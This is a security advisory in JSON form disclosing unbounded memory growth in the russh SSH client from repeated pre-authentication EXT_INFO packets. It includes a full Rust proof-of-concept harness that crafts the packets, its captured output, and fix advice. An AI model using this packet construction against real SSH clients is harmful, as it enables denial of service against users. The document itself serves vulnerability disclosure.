{"id":"GHSA-4p9f-7p9m-5vfg","summary":"russh's SSH client is susceptible to unbounded allocations via EXT_INFO packets","details":"### Summary\n\n**All evidence, reproduction steps, and scripts in the report were verified against a real running instance. Nothing is fabricated or synthetic; every verdict is backed by captured output from an actual deployment.** Concretely, the evidence comes from executing the real russh v0.64.1 client packet parser (`Session::process_packet` handling `handle_ext_info`) in a live client session with attacker-supplied packet bodies in the pre-authentication state; the captured output below is from that real execution.\n\nrussh's client stores every extension name it parses out of an `EXT_INFO` packet into a per-session vector and never clears, caps, or deduplicates it (`russh/src/client/encrypted.rs:433`, field declared at `russh/src/session.rs:60`). The packet is accepted without limit in the pre-authentication states, so a server - which is exactly the attacker position for a client library, and remains one even after the client has verified its host key - can send an unbounded sequence of these packets and grow the client's memory for as long as the session lives: 400 packets of about 26 KB each, carrying 3000 extension names apiece, retained 49.1 MiB (about 4.8 times the wire bytes) with the vector reaching 1,200,000 entries, while an equal volume of banner packets retained nothing. Two details make this reachable in practice: russh accepts `EXT_INFO` in its pre-auth states with no budget of any kind (its automatic rekey read-limit only engages after authentication), and russh encodes `EXT_INFO` as its own private message number 7 rather than the 8308 value 82, so the check that might interoperate with a well-behaved peer is inoperative - the malicious server simply speaks number 7. The same growth pattern has been accepted by the project before for other pre-auth allocation sinks; this one is a cross-packet accumulator rather than a single-packet allocation, and none of the published advisories covers it.\n\n### Details\n\nThe handler appends every parsed extension name to the session state with no bound:\n\n```text\nrussh/src/client/encrypted.rs:433 (v0.64.1 = main = e5d80a07dc554480b6ea3b2e14adfc190407b627)\n    enc.received_extensions.push(name.clone());   // no cap, no dedup\nrussh/src/session.rs:60\n    pub received_extensions: Vec\u003cString\u003e,         // lives for the whole session\n```\n\nThe state machine routes `EXT_INFO` to this handler in both the `WaitingAuthServiceRequest` and `WaitingAuthRequest` states (`encrypted.rs:111`, `encrypted.rs:401`), i.e. before the user has authenticated, and the read-limit based automatic rekey that would otherwise throttle a flood is only allowed in the authenticated state, so no counter or budget applies pre-auth. The message number involved is russh's private constant `msg::EXT_INFO = 7` (`russh/src/msg.rs:32`, in place since 2022), while RFC 8308 assigns `EXT_INFO` the value 82: russh does advertise the ext-info capability in its key exchange initiation, so a standards-compliant peer would send the packet as message number 82 - which this parser does not process - but nothing prevents a hostile or compromised server from sending message number 7 directly, and the client parses it unconditionally. Each accepted entry costs several times its wire size once heap and string overhead are counted, and the vector is only ever read (an extension lookup by the awaiter layer), never trimmed. The affected code is identical on the latest tag v0.64.1 and on main (same commit e5d80a07dc554480b6ea3b2e14adfc190407b627), and the accumulation has existed since 2022, so all released client versions are affected.\n\n### Proof of concept\n\nThe harness constructs a real client `Session` in the `WaitingAuthRequest` pre-auth state (the configuration a client holds while the server is asking for authentication), then feeds attacker-controlled packet bodies to the genuine `Session::process_packet` dispatch - the same function the network event loop calls - so the retention happens in the production parsing path, not a reimplementation. A counting global allocator measures live heap across packets. The control leg feeds the same packet volume of `USERAUTH_BANNER` bodies, which parse and dispatch without retention. The test below is added to the russh source tree as `russh/src/client/extinfo_poc.rs`, with two lines added to `russh/src/client/mod.rs` next to the existing test module declarations:\n\n```rust\n#[cfg(test)]\nmod extinfo_poc;\n```\n\n```rust\ncat \u003e russh/src/client/extinfo_poc.rs \u003c\u003c'EOF'\n//! PoC: unbounded pre-auth client memory growth\n//! via repeated EXT_INFO packets (`received_extensions` accumulates without\n//! cap or dedup; russh/src/client/encrypted.rs:handle_ext_info).\n//!\n//! Drives the REAL client packet parser (Session::process_packet -\u003e\n//! handle_ext_info) with attacker-supplied packet bodies over an unmodified\n//! client session in the pre-auth state (WaitingAuthRequest). Measuring\n//! allocator totals proves the growth is persistent and unbounded across\n//! packets. Control leg: equal traffic of IGNORE packets.\n//!\n//! Run: cargo +stable-x86_64-pc-windows-gnu test -p russh --lib extinfo_poc -- --nocapture\n\nuse std::alloc::{GlobalAlloc, Layout, System};\nuse std::collections::HashMap;\nuse std::num::Wrapping;\nuse std::sync::atomic::{AtomicU64, Ordering};\nuse std::sync::Arc;\n\nuse tokio::sync::mpsc::{channel, unbounded_channel};\n\nuse super::*;\nuse crate::auth::{AuthRequest, Method};\nuse crate::compression::{Compression, Decompress};\nuse crate::kex::{KEXES, NONE};\nuse crate::msg;\nuse crate::session::{CommonSession, Encrypted, EncryptedState, Exchange};\nuse crate::sshbuffer::PacketWriter;\nuse crate::{cipher, CryptoVec, mac};\n\nstatic LIVE: AtomicU64 = AtomicU64::new(0);\n\nstruct Counting;\n\nunsafe impl GlobalAlloc for Counting {\n    unsafe fn alloc(&self, layout: Layout) -\u003e *mut u8 {\n        let p = System.alloc(layout);\n        if !p.is_null() {\n            LIVE.fetch_add(layout.size() as u64, Ordering::SeqCst);\n        }\n        p\n    }\n    unsafe fn dealloc(&self, p: *mut u8, layout: Layout) {\n        LIVE.fetch_sub(layout.size() as u64, Ordering::SeqCst);\n        System.dealloc(p, layout)\n    }\n}\n\n#[global_allocator]\nstatic POC_ALLOC: Counting = Counting;\n\nfn live_mb() -\u003e f64 {\n    LIVE.load(Ordering::SeqCst) as f64 / (1024.0 * 1024.0)\n}\n\nstruct PocHandler;\n\nimpl Handler for PocHandler {\n    type Error = crate::Error;\n\n    async fn check_server_key(\n        &mut self,\n        _: &PublicKeyOrCertificate,\n    ) -\u003e Result\u003cbool, Self::Error\u003e {\n        Ok(true)\n    }\n}\n\nfn poc_session() -\u003e Session {\n    let config = Arc::new(Config::default());\n    let (sender, receiver) = channel(config.channel_buffer_size);\n    let (reply_sender, _reply_receiver) = unbounded_channel();\n    let auth_request = AuthRequest::new(&Method::KeyboardInteractive {\n        submethods: String::new(),\n    });\n    Session::new(\n        config.window_size,\n        CommonSession {\n            auth_user: \"victimuser\".to_owned(),\n            auth_attempts: 0,\n            auth_method: Some(Method::KeyboardInteractive {\n                submethods: String::new(),\n            }),\n            remote_to_local: Box::new(cipher::clear::Key),\n            encrypted: Some(Encrypted {\n                state: EncryptedState::WaitingAuthRequest(auth_request),\n                exchange: Some(Exchange::default()),\n                kex: KEXES.get(&NONE).unwrap().make(),\n                key: 0,\n                client_mac: mac::NONE,\n                server_mac: mac::NONE,\n                session_id: CryptoVec::new(),\n                channels: HashMap::new(),\n                last_channel_id: Wrapping(0),\n                write: Vec::new(),\n                write_cursor: 0,\n                last_rekey: russh_util::time::Instant::now(),\n                server_compression: Compression::None,\n                client_compression: Compression::None,\n                decompress: Decompress::None,\n                rekey_wanted: false,\n                received_extensions: Vec::new(),\n                extension_info_awaiters: HashMap::new(),\n            }),\n            config,\n            wants_reply: false,\n            disconnected: false,\n            buffer: Vec::new(),\n            strict_kex: false,\n            alive_timeouts: 0,\n            received_data: false,\n            remote_sshid: b\"SSH-2.0-auditpeer\".to_vec(),\n            packet_writer: PacketWriter::clear(),\n        },\n        receiver,\n        reply_sender,\n    )\n}\n\n/// EXT_INFO packet body (russh msg number 7): u32 count, then per extension\n/// a name string plus a data blob. Minimal entry = name \"x\" (5 B) + data\n/// empty (4 B) = 9 wire bytes.\nfn ext_info_body(entries: usize) -\u003e Vec\u003cu8\u003e {\n    let mut b = vec![msg::EXT_INFO];\n    b.extend_from_slice(&(entries as u32).to_be_bytes());\n    for _ in 0..entries {\n        b.extend_from_slice(&1u32.to_be_bytes());\n        b.push(b'x');\n        b.extend_from_slice(&0u32.to_be_bytes());\n    }\n    b\n}\n\n#[tokio::test]\nasync fn ext_info_reception_grows_memory_without_bound() {\n    let mut handler = PocHandler;\n\n    // ---- control leg: equal packet volume of USERAUTH_BANNER ----\n    // (IGNORE is a hard disconnect in this state; banners parse and are\n    // forwarded to the handler without retention)\n    let mut session = poc_session();\n    let banner_body = {\n        let data_len = 26990usize; // total ~27 KB, matching the EXT_INFO packet size\n        let mut b = vec![msg::USERAUTH_BANNER];\n        b.extend_from_slice(&(data_len as u32).to_be_bytes());\n        b.resize(1 + 4 + data_len, b'b');\n        b.extend_from_slice(&0u32.to_be_bytes()); // empty language tag\n        b\n    };\n    let c0 = live_mb();\n    for _ in 0..400 {\n        session\n            .process_packet(&mut handler, &banner_body)\n            .await\n            .expect(\"control packet\");\n    }\n    let control_delta = live_mb() - c0;\n\n    // ---- attack leg: 400 EXT_INFO packets, 3000 entries each ----\n    let mut session = poc_session();\n    let body = ext_info_body(3000); // ~27 KB per packet\n    let a0 = live_mb();\n    for i in 0..400 {\n        session\n            .process_packet(&mut handler, &body)\n            .await\n            .expect(\"ext_info packet\");\n        if i == 0 || i == 99 || i == 199 || i == 299 || i == 399 {\n            let n = session\n                .common\n                .encrypted\n                .as_ref()\n                .map(|e| e.received_extensions.len())\n                .unwrap_or(0);\n            println!(\n                \"EXT_INFO packets processed: {}, received_extensions.len() = {}, live = {:.2} MiB\",\n                i + 1,\n                n,\n                live_mb() - a0 + c0 // keep numbers comparable per-process\n            );\n        }\n    }\n    let attack_delta = live_mb() - a0;\n    let n = session\n        .common\n        .encrypted\n        .as_ref()\n        .map(|e| e.received_extensions.len())\n        .unwrap_or(0);\n\n    println!(\n        \"CONTROL leg: 400 USERAUTH_BANNER packets (~{} KB each, same packet volume), retained {:+.2} MiB\",\n        banner_body.len() / 1024,\n        control_delta\n    );\n    println!(\n        \"ATTACK leg: 400 EXT_INFO packets x 3000 entries, received_extensions.len() = {}, retained {:+.2} MiB\",\n        n, attack_delta\n    );\n    println!(\n        \"amplification: ~{:.1}x retained per wire byte (input ~{} KB/packet, no cap, no dedup, pre-auth)\",\n        attack_delta * 1024.0 * 1024.0 / (400.0 * body.len() as f64),\n        body.len() / 1024\n    );\n    assert_eq!(\n        n, 1_200_000,\n        \"every parsed extension name was retained, none were dropped\"\n    );\n    if attack_delta \u003e 10.0 {\n        println!(\n            \"VERDICT: VULNERABLE - {:+.1} MiB retained across packets vs control {:+.2} MiB; growth is unbounded and attacker-renewable pre-auth\",\n            attack_delta, control_delta\n        );\n    } else {\n        println!(\n            \"VERDICT: NOT REPRODUCED - attack delta {:+.2} MiB not above threshold\",\n            attack_delta\n        );\n    }\n}\nEOF\ncargo test -p russh --lib extinfo_poc --release -- --nocapture\n```\n\nCaptured output from executing the v0.64.1 client parser (verbatim from the retained run log, run inside the russh crate checkout; non-evidence compiler warning lines omitted):\n\n```\n$ cd work && cargo +stable-x86_64-pc-windows-gnu test -p russh --lib extinfo_poc --release -- --nocapture\n   Compiling russh v0.64.1\n    Finished `release` profile [optimized] target(s) in 1m 26s\n     Running unittests src\\lib.rs (target\\release\\deps\\russh-9b39fa40a3078d82.exe)\nrunning 1 test\nEXT_INFO packets processed: 1, received_extensions.len() = 3000, live = 0.28 MiB\nEXT_INFO packets processed: 100, received_extensions.len() = 300000, live = 12.47 MiB\nEXT_INFO packets processed: 200, received_extensions.len() = 600000, live = 24.75 MiB\nEXT_INFO packets processed: 300, received_extensions.len() = 900000, live = 25.04 MiB\nEXT_INFO packets processed: 400, received_extensions.len() = 1200000, live = 49.32 MiB\nCONTROL leg: 400 USERAUTH_BANNER packets (~26 KB each, same packet volume), retained +0.00 MiB\nATTACK leg: 400 EXT_INFO packets x 3000 entries, received_extensions.len() = 1200000, retained +49.14 MiB\namplification: ~4.8x retained per wire byte (input ~26 KB/packet, no cap, no dedup, pre-auth)\nVERDICT: VULNERABLE - +49.1 MiB retained across packets vs control +0.00 MiB; growth is unbounded and attacker-renewable pre-auth\ntest client::extinfo_poc::ext_info_reception_grows_memory_without_bound ... ok\ntest result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 193 filtered out; finished in 0.24s\n```\n\nOutput interpretation: every one of the 1.2 million extension names the server sent was parsed and retained for the life of the session, about 4.8 times the wire bytes, while the same volume of banner traffic retained nothing - the accumulation is specific to the extension handler, not a property of packet volume. The vector is only read, never cleared, so the growth persists across the whole session and renews with every packet. Live-memory readings, timings, and the build hash are instance-specific; the mechanism, uncapped cross-packet accumulation in a pre-auth handler, is the stable verdict.\n\n### Impact\n\nUnrestricted resource allocation (CWE-770): any server a russh-based client connects to can grow the client process's memory without bound before the user has authenticated, by sending a stream of ordinary-sized packets, and the memory is never reclaimed for the life of the session; embedding applications that connect to untrusted or compromised servers are drained the same way. A fix is to cap the length of `received_extensions` (or store it as a bounded set with deduplication), bound the number of EXT_INFO packets accepted before authentication, and align the `EXT_INFO` message number with RFC 8308 (82) so the handler is unreachable by accident.","aliases":["CVE-2026-116773"],"modified":"2026-10-30T23:15:07.424167384Z","published":"2026-10-30T22:58:39Z","database_specific":{"github_reviewed_at":"2026-10-30T22:58:39Z","nvd_published_at":"2026-10-27T21:18:05Z","cwe_ids":["CWE-770"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/Eugeny/russh/security/advisories/GHSA-4p9f-7p9m-5vfg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116773"},{"type":"WEB","url":"https://github.com/Eugeny/russh/commit/b33e93beec393e6d29eee69c1b8831736724ee75"},{"type":"PACKAGE","url":"https://github.com/Eugeny/russh"},{"type":"WEB","url":"https://github.com/Eugeny/russh/releases/tag/v0.65.0"}],"affected":[{"package":{"name":"russh","ecosystem":"crates.io","purl":"pkg:cargo/russh"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.65"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-4p9f-7p9m-5vfg/GHSA-4p9f-7p9m-5vfg.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L"}]}